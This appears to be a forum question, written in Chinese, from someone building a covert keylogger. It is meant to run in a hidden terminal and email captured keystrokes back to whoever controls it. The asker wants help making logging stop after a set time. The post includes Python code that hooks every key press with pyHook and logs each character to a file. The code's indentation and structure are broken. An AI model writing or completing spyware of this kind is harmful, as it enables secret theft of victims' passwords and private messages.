因此,我试图制作一个键盘记录器,以便在键盘记录器完成记录后发送电子邮件。我有一个服务器/客户端程序,该程序允许服务器/主机将数据发送到隐藏的终端,并通过用户电子邮件发送回按键,该电子邮件也由主机输入。这些细节并不是很重要,但是我所拥有的是一段代码,需要我的帮助。我要执行的操作是在经过一定时间后停止记录,这也由主机定义。 我的代码如下:
while time.time() < t_end:
def OnKeyboardEvent(event):
logging.basicConfig(filename=file, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()